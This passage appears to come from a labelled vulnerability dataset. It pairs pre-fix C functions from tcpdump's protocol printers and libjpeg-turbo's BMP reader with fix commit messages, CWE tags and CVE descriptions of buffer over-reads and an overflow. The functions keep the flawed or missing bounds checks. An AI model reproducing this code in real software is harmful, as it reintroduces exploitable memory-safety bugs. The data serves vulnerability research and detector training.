4,181 | tcpdump | e01c9bf76740802025c9328901b55ee4a0c49ed6 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/e01c9bf76740802025c9328901b55ee4a0c49ed6 | (for 4.9.3) CVE-2018-14880/OSPFv3: Fix a bounds check
Need to test bounds check for the last field of the structure lsa6_hdr.
No need to test other fields.
Include Security working under the Mozilla SOS program had independently
identified this vulnerability in 2018 by means of code audit.
Wang Junjie of 360 ESG Codesafe Team had independently identified this
vulnerability in 2018 by means of fuzzing and provided the packet capture
file for the test. | 1 | ospf6_print_lshdr(netdissect_options *ndo,
register const struct lsa6_hdr *lshp, const u_char *dataend)
{
if ((const u_char *)(lshp + 1) > dataend)
goto trunc;
ND_TCHECK(lshp->ls_type);
ND_TCHECK(lshp->ls_seq);
ND_PRINT((ndo, "\n\t Advertising Router %s, seq 0x%08x, age %us, length %u",
ipaddr_string(ndo, &lshp->ls_router),
EXTRACT_32BITS(&lshp->ls_seq),
EXTRACT_16BITS(&lshp->ls_age),
EXTRACT_16BITS(&lshp->ls_length)-(u_int)sizeof(struct lsa6_hdr)));
ospf6_print_ls_type(ndo, EXTRACT_16BITS(&lshp->ls_type), &lshp->ls_stateid);
return (0);
trunc:
return (1);
}
| 129,283,399,906,377,130,000,000,000,000,000,000,000 | print-ospf6.c | 147,818,747,608,204,800,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14880 | The OSPFv3 parser in tcpdump before 4.9.3 has a buffer over-read in print-ospf6.c:ospf6_print_lshdr(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14880 |
4,182 | tcpdump | 9ba91381954ad325ea4fd26b9c65a8bd9a2a85b6 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/9ba91381954ad325ea4fd26b9c65a8bd9a2a85b6 | (for 4.9.3) CVE-2018-14879/fix -V to fail invalid input safely
get_next_file() did not check the return value of strlen() and
underflowed an array index if the line read by fgets() from the file
started with \0. This caused an out-of-bounds read and could cause a
write. Add the missing check.
This vulnerability was discovered by Brian Carpenter & Geeknik Labs. | 1 | get_next_file(FILE *VFile, char *ptr)
{
char *ret;
ret = fgets(ptr, PATH_MAX, VFile);
if (!ret)
return NULL;
if (ptr[strlen(ptr) - 1] == '\n')
ptr[strlen(ptr) - 1] = '\0';
return ret;
}
| 257,347,123,511,778,800,000,000,000,000,000,000,000 | tcpdump.c | 120,937,434,841,688,800,000,000,000,000,000,000,000 | [
"CWE-120"
] | CVE-2018-14879 | The command-line argument parser in tcpdump before 4.9.3 has a buffer overflow in tcpdump.c:get_next_file(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14879 |
4,183 | libjpeg-turbo | 9c78a04df4e44ef6487eee99c4258397f4fdca55 | https://github.com/libjpeg-turbo/libjpeg-turbo | https://github.com/libjpeg-turbo/libjpeg-turbo/commit/9c78a04df4e44ef6487eee99c4258397f4fdca55 | cjpeg: Fix OOB read caused by malformed 8-bit BMP
... in which one or more of the color indices is out of range for the
number of palette entries.
Fix partly borrowed from jpeg-9c. This commit also adopts Guido's
JERR_PPM_OUTOFRANGE enum value in lieu of our project-specific
JERR_PPM_TOOLARGE enum value.
Fixes #258 | 1 | METHODDEF(JDIMENSION)
get_8bit_row(j_compress_ptr cinfo, cjpeg_source_ptr sinfo)
/* This version is for reading 8-bit colormap indexes */
{
bmp_source_ptr source = (bmp_source_ptr)sinfo;
register JSAMPARRAY colormap = source->colormap;
JSAMPARRAY image_ptr;
register int t;
register JSAMPROW inptr, outptr;
register JDIMENSION col;
if (source->use_inversion_array) {
/* Fetch next row from virtual array */
source->source_row--;
image_ptr = (*cinfo->mem->access_virt_sarray)
((j_common_ptr)cinfo, source->whole_image,
source->source_row, (JDIMENSION)1, FALSE);
inptr = image_ptr[0];
} else {
if (!ReadOK(source->pub.input_file, source->iobuffer, source->row_width))
ERREXIT(cinfo, JERR_INPUT_EOF);
inptr = source->iobuffer;
}
/* Expand the colormap indexes to real data */
outptr = source->pub.buffer[0];
if (cinfo->in_color_space == JCS_GRAYSCALE) {
for (col = cinfo->image_width; col > 0; col--) {
t = GETJSAMPLE(*inptr++);
*outptr++ = colormap[0][t];
}
} else if (cinfo->in_color_space == JCS_CMYK) {
for (col = cinfo->image_width; col > 0; col--) {
t = GETJSAMPLE(*inptr++);
rgb_to_cmyk(colormap[0][t], colormap[1][t], colormap[2][t], outptr,
outptr + 1, outptr + 2, outptr + 3);
outptr += 4;
}
} else {
register int rindex = rgb_red[cinfo->in_color_space];
register int gindex = rgb_green[cinfo->in_color_space];
register int bindex = rgb_blue[cinfo->in_color_space];
register int aindex = alpha_index[cinfo->in_color_space];
register int ps = rgb_pixelsize[cinfo->in_color_space];
if (aindex >= 0) {
for (col = cinfo->image_width; col > 0; col--) {
t = GETJSAMPLE(*inptr++);
outptr[rindex] = colormap[0][t];
outptr[gindex] = colormap[1][t];
outptr[bindex] = colormap[2][t];
outptr[aindex] = 0xFF;
outptr += ps;
}
} else {
for (col = cinfo->image_width; col > 0; col--) {
t = GETJSAMPLE(*inptr++);
outptr[rindex] = colormap[0][t];
outptr[gindex] = colormap[1][t];
outptr[bindex] = colormap[2][t];
outptr += ps;
}
}
}
return 1;
}
| 167,548,316,555,997,960,000,000,000,000,000,000,000 | None | null | [
"CWE-125"
] | CVE-2018-14498 | get_8bit_row in rdbmp.c in libjpeg-turbo through 1.5.90 and MozJPEG through 3.3.1 allows attackers to cause a denial of service (heap-based buffer over-read and application crash) via a crafted 8-bit BMP in which one or more of the color indices is out of range for the number of palette entries. | https://nvd.nist.gov/vuln/detail/CVE-2018-14498 |
4,187 | tcpdump | 12f66f69f7bf1ec1266ddbee90a7616cbf33696b | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/12f66f69f7bf1ec1266ddbee90a7616cbf33696b | (for 4.9.3) CVE-2018-14470/Babel: fix an existing length check
In babel_print_v2() the non-verbose branch for an Update TLV compared
the TLV Length against 1 instead of 10 (probably a typo), put it right.
This fixes a buffer over-read discovered by Henri Salo from Nixu
Corporation.
Add a test using the capture file supplied by the reporter(s). | 1 | babel_print_v2(netdissect_options *ndo,
const u_char *cp, u_int length)
{
u_int i;
u_short bodylen;
u_char v4_prefix[16] =
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xFF, 0xFF, 0, 0, 0, 0 };
u_char v6_prefix[16] = {0};
ND_TCHECK2(*cp, 4);
if (length < 4)
goto invalid;
bodylen = EXTRACT_16BITS(cp + 2);
ND_PRINT((ndo, " (%u)", bodylen));
/* Process the TLVs in the body */
i = 0;
while(i < bodylen) {
const u_char *message;
u_int type, len;
message = cp + 4 + i;
ND_TCHECK2(*message, 1);
if((type = message[0]) == MESSAGE_PAD1) {
ND_PRINT((ndo, ndo->ndo_vflag ? "\n\tPad 1" : " pad1"));
i += 1;
continue;
}
ND_TCHECK2(*message, 2);
ICHECK(i, 2);
len = message[1];
ND_TCHECK2(*message, 2 + len);
ICHECK(i, 2 + len);
switch(type) {
case MESSAGE_PADN: {
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " padN"));
else
ND_PRINT((ndo, "\n\tPad %d", len + 2));
}
break;
case MESSAGE_ACK_REQ: {
u_short nonce, interval;
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " ack-req"));
else {
ND_PRINT((ndo, "\n\tAcknowledgment Request "));
if(len < 6) goto invalid;
nonce = EXTRACT_16BITS(message + 4);
interval = EXTRACT_16BITS(message + 6);
ND_PRINT((ndo, "%04x %s", nonce, format_interval(interval)));
}
}
break;
case MESSAGE_ACK: {
u_short nonce;
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " ack"));
else {
ND_PRINT((ndo, "\n\tAcknowledgment "));
if(len < 2) goto invalid;
nonce = EXTRACT_16BITS(message + 2);
ND_PRINT((ndo, "%04x", nonce));
}
}
break;
case MESSAGE_HELLO: {
u_short seqno, interval;
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " hello"));
else {
ND_PRINT((ndo, "\n\tHello "));
if(len < 6) goto invalid;
seqno = EXTRACT_16BITS(message + 4);
interval = EXTRACT_16BITS(message + 6);
ND_PRINT((ndo, "seqno %u interval %s", seqno, format_interval(interval)));
/* Extra data. */
if(len > 6)
subtlvs_print(ndo, message + 8, message + 2 + len, type);
}
}
break;
case MESSAGE_IHU: {
unsigned short txcost, interval;
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " ihu"));
else {
u_char address[16];
int rc;
ND_PRINT((ndo, "\n\tIHU "));
if(len < 6) goto invalid;
txcost = EXTRACT_16BITS(message + 4);
interval = EXTRACT_16BITS(message + 6);
rc = network_address(message[2], message + 8, len - 6, address);
if(rc < 0) { ND_PRINT((ndo, "%s", tstr)); break; }
ND_PRINT((ndo, "%s txcost %u interval %s",
format_address(ndo, address), txcost, format_interval(interval)));
/* Extra data. */
if((u_int)rc < len - 6)
subtlvs_print(ndo, message + 8 + rc, message + 2 + len,
type);
}
}
break;
case MESSAGE_ROUTER_ID: {
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " router-id"));
else {
ND_PRINT((ndo, "\n\tRouter Id"));
if(len < 10) goto invalid;
ND_PRINT((ndo, " %s", format_id(message + 4)));
}
}
break;
case MESSAGE_NH: {
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " nh"));
else {
int rc;
u_char nh[16];
ND_PRINT((ndo, "\n\tNext Hop"));
if(len < 2) goto invalid;
rc = network_address(message[2], message + 4, len - 2, nh);
if(rc < 0) goto invalid;
ND_PRINT((ndo, " %s", format_address(ndo, nh)));
}
}
break;
case MESSAGE_UPDATE: {
if (!ndo->ndo_vflag) {
ND_PRINT((ndo, " update"));
if(len < 1)
ND_PRINT((ndo, "/truncated"));
else
ND_PRINT((ndo, "%s%s%s",
(message[3] & 0x80) ? "/prefix": "",
(message[3] & 0x40) ? "/id" : "",
(message[3] & 0x3f) ? "/unknown" : ""));
} else {
u_short interval, seqno, metric;
u_char plen;
int rc;
u_char prefix[16];
ND_PRINT((ndo, "\n\tUpdate"));
if(len < 10) goto invalid;
plen = message[4] + (message[2] == 1 ? 96 : 0);
rc = network_prefix(message[2], message[4], message[5],
message + 12,
message[2] == 1 ? v4_prefix : v6_prefix,
len - 10, prefix);
if(rc < 0) goto invalid;
interval = EXTRACT_16BITS(message + 6);
seqno = EXTRACT_16BITS(message + 8);
metric = EXTRACT_16BITS(message + 10);
ND_PRINT((ndo, "%s%s%s %s metric %u seqno %u interval %s",
(message[3] & 0x80) ? "/prefix": "",
(message[3] & 0x40) ? "/id" : "",
(message[3] & 0x3f) ? "/unknown" : "",
format_prefix(ndo, prefix, plen),
metric, seqno, format_interval_update(interval)));
if(message[3] & 0x80) {
if(message[2] == 1)
memcpy(v4_prefix, prefix, 16);
else
memcpy(v6_prefix, prefix, 16);
}
/* extra data? */
if((u_int)rc < len - 10)
subtlvs_print(ndo, message + 12 + rc, message + 2 + len, type);
}
}
break;
case MESSAGE_REQUEST: {
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " request"));
else {
int rc;
u_char prefix[16], plen;
ND_PRINT((ndo, "\n\tRequest "));
if(len < 2) goto invalid;
plen = message[3] + (message[2] == 1 ? 96 : 0);
rc = network_prefix(message[2], message[3], 0,
message + 4, NULL, len - 2, prefix);
if(rc < 0) goto invalid;
ND_PRINT((ndo, "for %s",
message[2] == 0 ? "any" : format_prefix(ndo, prefix, plen)));
}
}
break;
case MESSAGE_MH_REQUEST : {
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " mh-request"));
else {
int rc;
u_short seqno;
u_char prefix[16], plen;
ND_PRINT((ndo, "\n\tMH-Request "));
if(len < 14) goto invalid;
seqno = EXTRACT_16BITS(message + 4);
rc = network_prefix(message[2], message[3], 0,
message + 16, NULL, len - 14, prefix);
if(rc < 0) goto invalid;
plen = message[3] + (message[2] == 1 ? 96 : 0);
ND_PRINT((ndo, "(%u hops) for %s seqno %u id %s",
message[6], format_prefix(ndo, prefix, plen),
seqno, format_id(message + 8)));
}
}
break;
case MESSAGE_TSPC :
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " tspc"));
else {
ND_PRINT((ndo, "\n\tTS/PC "));
if(len < 6) goto invalid;
ND_PRINT((ndo, "timestamp %u packetcounter %u", EXTRACT_32BITS (message + 4),
EXTRACT_16BITS(message + 2)));
}
break;
case MESSAGE_HMAC : {
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " hmac"));
else {
unsigned j;
ND_PRINT((ndo, "\n\tHMAC "));
if(len < 18) goto invalid;
ND_PRINT((ndo, "key-id %u digest-%u ", EXTRACT_16BITS(message + 2), len - 2));
for (j = 0; j < len - 2; j++)
ND_PRINT((ndo, "%02X", message[4 + j]));
}
}
break;
case MESSAGE_UPDATE_SRC_SPECIFIC : {
if(!ndo->ndo_vflag) {
ND_PRINT((ndo, " ss-update"));
} else {
u_char prefix[16], src_prefix[16];
u_short interval, seqno, metric;
u_char ae, plen, src_plen, omitted;
int rc;
int parsed_len = 10;
ND_PRINT((ndo, "\n\tSS-Update"));
if(len < 10) goto invalid;
ae = message[2];
src_plen = message[3];
plen = message[4];
omitted = message[5];
interval = EXTRACT_16BITS(message + 6);
seqno = EXTRACT_16BITS(message + 8);
metric = EXTRACT_16BITS(message + 10);
rc = network_prefix(ae, plen, omitted, message + 2 + parsed_len,
ae == 1 ? v4_prefix : v6_prefix,
len - parsed_len, prefix);
if(rc < 0) goto invalid;
if(ae == 1)
plen += 96;
parsed_len += rc;
rc = network_prefix(ae, src_plen, 0, message + 2 + parsed_len,
NULL, len - parsed_len, src_prefix);
if(rc < 0) goto invalid;
if(ae == 1)
src_plen += 96;
parsed_len += rc;
ND_PRINT((ndo, " %s from", format_prefix(ndo, prefix, plen)));
ND_PRINT((ndo, " %s metric %u seqno %u interval %s",
format_prefix(ndo, src_prefix, src_plen),
metric, seqno, format_interval_update(interval)));
/* extra data? */
if((u_int)parsed_len < len)
subtlvs_print(ndo, message + 2 + parsed_len,
message + 2 + len, type);
}
}
break;
case MESSAGE_REQUEST_SRC_SPECIFIC : {
if(!ndo->ndo_vflag)
ND_PRINT((ndo, " ss-request"));
else {
int rc, parsed_len = 3;
u_char ae, plen, src_plen, prefix[16], src_prefix[16];
ND_PRINT((ndo, "\n\tSS-Request "));
if(len < 3) goto invalid;
ae = message[2];
plen = message[3];
src_plen = message[4];
rc = network_prefix(ae, plen, 0, message + 2 + parsed_len,
NULL, len - parsed_len, prefix);
if(rc < 0) goto invalid;
if(ae == 1)
plen += 96;
parsed_len += rc;
rc = network_prefix(ae, src_plen, 0, message + 2 + parsed_len,
NULL, len - parsed_len, src_prefix);
if(rc < 0) goto invalid;
if(ae == 1)
src_plen += 96;
parsed_len += rc;
if(ae == 0) {
ND_PRINT((ndo, "for any"));
} else {
ND_PRINT((ndo, "for (%s, ", format_prefix(ndo, prefix, plen)));
ND_PRINT((ndo, "%s)", format_prefix(ndo, src_prefix, src_plen)));
}
}
}
break;
case MESSAGE_MH_REQUEST_SRC_SPECIFIC : {
if(!ndo->ndo_vflag)
ND_PRINT((ndo, " ss-mh-request"));
else {
int rc, parsed_len = 14;
u_short seqno;
u_char ae, plen, src_plen, prefix[16], src_prefix[16], hopc;
const u_char *router_id = NULL;
ND_PRINT((ndo, "\n\tSS-MH-Request "));
if(len < 14) goto invalid;
ae = message[2];
plen = message[3];
seqno = EXTRACT_16BITS(message + 4);
hopc = message[6];
src_plen = message[7];
router_id = message + 8;
rc = network_prefix(ae, plen, 0, message + 2 + parsed_len,
NULL, len - parsed_len, prefix);
if(rc < 0) goto invalid;
if(ae == 1)
plen += 96;
parsed_len += rc;
rc = network_prefix(ae, src_plen, 0, message + 2 + parsed_len,
NULL, len - parsed_len, src_prefix);
if(rc < 0) goto invalid;
if(ae == 1)
src_plen += 96;
ND_PRINT((ndo, "(%u hops) for (%s, ",
hopc, format_prefix(ndo, prefix, plen)));
ND_PRINT((ndo, "%s) seqno %u id %s",
format_prefix(ndo, src_prefix, src_plen),
seqno, format_id(router_id)));
}
}
break;
default:
if (!ndo->ndo_vflag)
ND_PRINT((ndo, " unknown"));
else
ND_PRINT((ndo, "\n\tUnknown message type %d", type));
}
i += len + 2;
}
return;
trunc:
ND_PRINT((ndo, " %s", tstr));
return;
invalid:
ND_PRINT((ndo, "%s", istr));
return;
}
| 221,650,779,211,644,100,000,000,000,000,000,000,000 | print-babel.c | 165,395,599,757,044,750,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14470 | The Babel parser in tcpdump before 4.9.3 has a buffer over-read in print-babel.c:babel_print_v2(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14470 |
4,188 | tcpdump | 396e94ff55a80d554b1fe46bf107db1e91008d6c | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/396e94ff55a80d554b1fe46bf107db1e91008d6c | (for 4.9.3) CVE-2018-14469/ISAKMP: Add a missing bounds check
In ikev1_n_print() check bounds before trying to fetch the replay detection
status.
This fixes a buffer over-read discovered by Bhargava Shastry.
Add a test using the capture file supplied by the reporter(s). | 1 | ikev1_n_print(netdissect_options *ndo, u_char tpay _U_,
const struct isakmp_gen *ext, u_int item_len,
const u_char *ep, uint32_t phase _U_, uint32_t doi0 _U_,
uint32_t proto0 _U_, int depth _U_)
{
const struct ikev1_pl_n *p;
struct ikev1_pl_n n;
const u_char *cp;
const u_char *ep2;
uint32_t doi;
uint32_t proto;
static const char *notify_error_str[] = {
NULL, "INVALID-PAYLOAD-TYPE",
"DOI-NOT-SUPPORTED", "SITUATION-NOT-SUPPORTED",
"INVALID-COOKIE", "INVALID-MAJOR-VERSION",
"INVALID-MINOR-VERSION", "INVALID-EXCHANGE-TYPE",
"INVALID-FLAGS", "INVALID-MESSAGE-ID",
"INVALID-PROTOCOL-ID", "INVALID-SPI",
"INVALID-TRANSFORM-ID", "ATTRIBUTES-NOT-SUPPORTED",
"NO-PROPOSAL-CHOSEN", "BAD-PROPOSAL-SYNTAX",
"PAYLOAD-MALFORMED", "INVALID-KEY-INFORMATION",
"INVALID-ID-INFORMATION", "INVALID-CERT-ENCODING",
"INVALID-CERTIFICATE", "CERT-TYPE-UNSUPPORTED",
"INVALID-CERT-AUTHORITY", "INVALID-HASH-INFORMATION",
"AUTHENTICATION-FAILED", "INVALID-SIGNATURE",
"ADDRESS-NOTIFICATION", "NOTIFY-SA-LIFETIME",
"CERTIFICATE-UNAVAILABLE", "UNSUPPORTED-EXCHANGE-TYPE",
"UNEQUAL-PAYLOAD-LENGTHS",
};
static const char *ipsec_notify_error_str[] = {
"RESERVED",
};
static const char *notify_status_str[] = {
"CONNECTED",
};
static const char *ipsec_notify_status_str[] = {
"RESPONDER-LIFETIME", "REPLAY-STATUS",
"INITIAL-CONTACT",
};
/* NOTE: these macro must be called with x in proper range */
/* 0 - 8191 */
#define NOTIFY_ERROR_STR(x) \
STR_OR_ID((x), notify_error_str)
/* 8192 - 16383 */
#define IPSEC_NOTIFY_ERROR_STR(x) \
STR_OR_ID((u_int)((x) - 8192), ipsec_notify_error_str)
/* 16384 - 24575 */
#define NOTIFY_STATUS_STR(x) \
STR_OR_ID((u_int)((x) - 16384), notify_status_str)
/* 24576 - 32767 */
#define IPSEC_NOTIFY_STATUS_STR(x) \
STR_OR_ID((u_int)((x) - 24576), ipsec_notify_status_str)
ND_PRINT((ndo,"%s:", NPSTR(ISAKMP_NPTYPE_N)));
p = (const struct ikev1_pl_n *)ext;
ND_TCHECK(*p);
UNALIGNED_MEMCPY(&n, ext, sizeof(n));
doi = ntohl(n.doi);
proto = n.prot_id;
if (doi != 1) {
ND_PRINT((ndo," doi=%d", doi));
ND_PRINT((ndo," proto=%d", proto));
if (ntohs(n.type) < 8192)
ND_PRINT((ndo," type=%s", NOTIFY_ERROR_STR(ntohs(n.type))));
else if (ntohs(n.type) < 16384)
ND_PRINT((ndo," type=%s", numstr(ntohs(n.type))));
else if (ntohs(n.type) < 24576)
ND_PRINT((ndo," type=%s", NOTIFY_STATUS_STR(ntohs(n.type))));
else
ND_PRINT((ndo," type=%s", numstr(ntohs(n.type))));
if (n.spi_size) {
ND_PRINT((ndo," spi="));
if (!rawprint(ndo, (const uint8_t *)(p + 1), n.spi_size))
goto trunc;
}
return (const u_char *)(p + 1) + n.spi_size;
}
ND_PRINT((ndo," doi=ipsec"));
ND_PRINT((ndo," proto=%s", PROTOIDSTR(proto)));
if (ntohs(n.type) < 8192)
ND_PRINT((ndo," type=%s", NOTIFY_ERROR_STR(ntohs(n.type))));
else if (ntohs(n.type) < 16384)
ND_PRINT((ndo," type=%s", IPSEC_NOTIFY_ERROR_STR(ntohs(n.type))));
else if (ntohs(n.type) < 24576)
ND_PRINT((ndo," type=%s", NOTIFY_STATUS_STR(ntohs(n.type))));
else if (ntohs(n.type) < 32768)
ND_PRINT((ndo," type=%s", IPSEC_NOTIFY_STATUS_STR(ntohs(n.type))));
else
ND_PRINT((ndo," type=%s", numstr(ntohs(n.type))));
if (n.spi_size) {
ND_PRINT((ndo," spi="));
if (!rawprint(ndo, (const uint8_t *)(p + 1), n.spi_size))
goto trunc;
}
cp = (const u_char *)(p + 1) + n.spi_size;
ep2 = (const u_char *)p + item_len;
if (cp < ep) {
switch (ntohs(n.type)) {
case IPSECDOI_NTYPE_RESPONDER_LIFETIME:
{
const struct attrmap *map = oakley_t_map;
size_t nmap = sizeof(oakley_t_map)/sizeof(oakley_t_map[0]);
ND_PRINT((ndo," attrs=("));
while (cp < ep && cp < ep2) {
cp = ikev1_attrmap_print(ndo, cp, ep2, map, nmap);
if (cp == NULL) {
ND_PRINT((ndo,")"));
goto trunc;
}
}
ND_PRINT((ndo,")"));
break;
}
case IPSECDOI_NTYPE_REPLAY_STATUS:
ND_PRINT((ndo," status=("));
ND_PRINT((ndo,"replay detection %sabled",
EXTRACT_32BITS(cp) ? "en" : "dis"));
ND_PRINT((ndo,")"));
break;
default:
/*
* XXX - fill in more types here; see, for example,
* draft-ietf-ipsec-notifymsg-04.
*/
if (ndo->ndo_vflag > 3) {
ND_PRINT((ndo," data=("));
if (!rawprint(ndo, (const uint8_t *)(cp), ep - cp))
goto trunc;
ND_PRINT((ndo,")"));
} else {
if (!ike_show_somedata(ndo, cp, ep))
goto trunc;
}
break;
}
}
return (const u_char *)ext + item_len;
trunc:
ND_PRINT((ndo," [|%s]", NPSTR(ISAKMP_NPTYPE_N)));
return NULL;
}
| 234,740,568,020,028,660,000,000,000,000,000,000,000 | print-isakmp.c | 46,301,836,066,961,200,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14469 | The IKEv1 parser in tcpdump before 4.9.3 has a buffer over-read in print-isakmp.c:ikev1_n_print(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14469 |
4,189 | tcpdump | aa3e54f594385ce7e1e319b0c84999e51192578b | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/aa3e54f594385ce7e1e319b0c84999e51192578b | (for 4.9.3) CVE-2018-14468/FRF.16: Add a missing length check.
The specification says in a well-formed Magic Number information element
the data is exactly 4 bytes long. In mfr_print() check this before trying
to read those 4 bytes.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s). | 1 | mfr_print(netdissect_options *ndo,
register const u_char *p, u_int length)
{
u_int tlen,idx,hdr_len = 0;
uint16_t sequence_num;
uint8_t ie_type,ie_len;
const uint8_t *tptr;
/*
* FRF.16 Link Integrity Control Frame
*
* 7 6 5 4 3 2 1 0
* +----+----+----+----+----+----+----+----+
* | B | E | C=1| 0 0 0 0 | EA |
* +----+----+----+----+----+----+----+----+
* | 0 0 0 0 0 0 0 0 |
* +----+----+----+----+----+----+----+----+
* | message type |
* +----+----+----+----+----+----+----+----+
*/
ND_TCHECK2(*p, 4); /* minimum frame header length */
if ((p[0] & MFR_BEC_MASK) == MFR_CTRL_FRAME && p[1] == 0) {
ND_PRINT((ndo, "FRF.16 Control, Flags [%s], %s, length %u",
bittok2str(frf_flag_values,"none",(p[0] & MFR_BEC_MASK)),
tok2str(mfr_ctrl_msg_values,"Unknown Message (0x%02x)",p[2]),
length));
tptr = p + 3;
tlen = length -3;
hdr_len = 3;
if (!ndo->ndo_vflag)
return hdr_len;
while (tlen>sizeof(struct ie_tlv_header_t)) {
ND_TCHECK2(*tptr, sizeof(struct ie_tlv_header_t));
ie_type=tptr[0];
ie_len=tptr[1];
ND_PRINT((ndo, "\n\tIE %s (%u), length %u: ",
tok2str(mfr_ctrl_ie_values,"Unknown",ie_type),
ie_type,
ie_len));
/* infinite loop check */
if (ie_type == 0 || ie_len <= sizeof(struct ie_tlv_header_t))
return hdr_len;
ND_TCHECK2(*tptr, ie_len);
tptr+=sizeof(struct ie_tlv_header_t);
/* tlv len includes header */
ie_len-=sizeof(struct ie_tlv_header_t);
tlen-=sizeof(struct ie_tlv_header_t);
switch (ie_type) {
case MFR_CTRL_IE_MAGIC_NUM:
ND_PRINT((ndo, "0x%08x", EXTRACT_32BITS(tptr)));
break;
case MFR_CTRL_IE_BUNDLE_ID: /* same message format */
case MFR_CTRL_IE_LINK_ID:
for (idx = 0; idx < ie_len && idx < MFR_ID_STRING_MAXLEN; idx++) {
if (*(tptr+idx) != 0) /* don't print null termination */
safeputchar(ndo, *(tptr + idx));
else
break;
}
break;
case MFR_CTRL_IE_TIMESTAMP:
if (ie_len == sizeof(struct timeval)) {
ts_print(ndo, (const struct timeval *)tptr);
break;
}
/* fall through and hexdump if no unix timestamp */
/*
* FIXME those are the defined IEs that lack a decoder
* you are welcome to contribute code ;-)
*/
case MFR_CTRL_IE_VENDOR_EXT:
case MFR_CTRL_IE_CAUSE:
default:
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", ie_len);
break;
}
/* do we want to see a hexdump of the IE ? */
if (ndo->ndo_vflag > 1 )
print_unknown_data(ndo, tptr, "\n\t ", ie_len);
tlen-=ie_len;
tptr+=ie_len;
}
return hdr_len;
}
/*
* FRF.16 Fragmentation Frame
*
* 7 6 5 4 3 2 1 0
* +----+----+----+----+----+----+----+----+
* | B | E | C=0|seq. (high 4 bits) | EA |
* +----+----+----+----+----+----+----+----+
* | sequence (low 8 bits) |
* +----+----+----+----+----+----+----+----+
* | DLCI (6 bits) | CR | EA |
* +----+----+----+----+----+----+----+----+
* | DLCI (4 bits) |FECN|BECN| DE | EA |
* +----+----+----+----+----+----+----+----+
*/
sequence_num = (p[0]&0x1e)<<7 | p[1];
/* whole packet or first fragment ? */
if ((p[0] & MFR_BEC_MASK) == MFR_FRAG_FRAME ||
(p[0] & MFR_BEC_MASK) == MFR_B_BIT) {
ND_PRINT((ndo, "FRF.16 Frag, seq %u, Flags [%s], ",
sequence_num,
bittok2str(frf_flag_values,"none",(p[0] & MFR_BEC_MASK))));
hdr_len = 2;
fr_print(ndo, p+hdr_len,length-hdr_len);
return hdr_len;
}
/* must be a middle or the last fragment */
ND_PRINT((ndo, "FRF.16 Frag, seq %u, Flags [%s]",
sequence_num,
bittok2str(frf_flag_values,"none",(p[0] & MFR_BEC_MASK))));
print_unknown_data(ndo, p, "\n\t", length);
return hdr_len;
trunc:
ND_PRINT((ndo, "[|mfr]"));
return length;
}
| 34,406,534,537,232,213,000,000,000,000,000,000,000 | print-fr.c | 155,609,240,038,833,600,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14468 | The FRF.16 parser in tcpdump before 4.9.3 has a buffer over-read in print-fr.c:mfr_print(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14468 |
4,190 | tcpdump | e3f3b445e2d20ac5d5b7fcb7559ce6beb55da0c9 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/e3f3b445e2d20ac5d5b7fcb7559ce6beb55da0c9 | (for 4.9.3) CVE-2018-14467/BGP: Fix BGP_CAPCODE_MP.
Add a bounds check and a comment to bgp_capabilities_print().
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s). | 1 | bgp_capabilities_print(netdissect_options *ndo,
const u_char *opt, int caps_len)
{
int cap_type, cap_len, tcap_len, cap_offset;
int i = 0;
while (i < caps_len) {
ND_TCHECK2(opt[i], BGP_CAP_HEADER_SIZE);
cap_type=opt[i];
cap_len=opt[i+1];
tcap_len=cap_len;
ND_PRINT((ndo, "\n\t %s (%u), length: %u",
tok2str(bgp_capcode_values, "Unknown",
cap_type),
cap_type,
cap_len));
ND_TCHECK2(opt[i+2], cap_len);
switch (cap_type) {
case BGP_CAPCODE_MP:
ND_PRINT((ndo, "\n\t\tAFI %s (%u), SAFI %s (%u)",
tok2str(af_values, "Unknown",
EXTRACT_16BITS(opt+i+2)),
EXTRACT_16BITS(opt+i+2),
tok2str(bgp_safi_values, "Unknown",
opt[i+5]),
opt[i+5]));
break;
case BGP_CAPCODE_RESTART:
/* Restart Flags (4 bits), Restart Time in seconds (12 bits) */
ND_TCHECK_16BITS(opt + i + 2);
ND_PRINT((ndo, "\n\t\tRestart Flags: [%s], Restart Time %us",
((opt[i+2])&0x80) ? "R" : "none",
EXTRACT_16BITS(opt+i+2)&0xfff));
tcap_len-=2;
cap_offset=4;
while(tcap_len>=4) {
ND_PRINT((ndo, "\n\t\t AFI %s (%u), SAFI %s (%u), Forwarding state preserved: %s",
tok2str(af_values,"Unknown",
EXTRACT_16BITS(opt+i+cap_offset)),
EXTRACT_16BITS(opt+i+cap_offset),
tok2str(bgp_safi_values,"Unknown",
opt[i+cap_offset+2]),
opt[i+cap_offset+2],
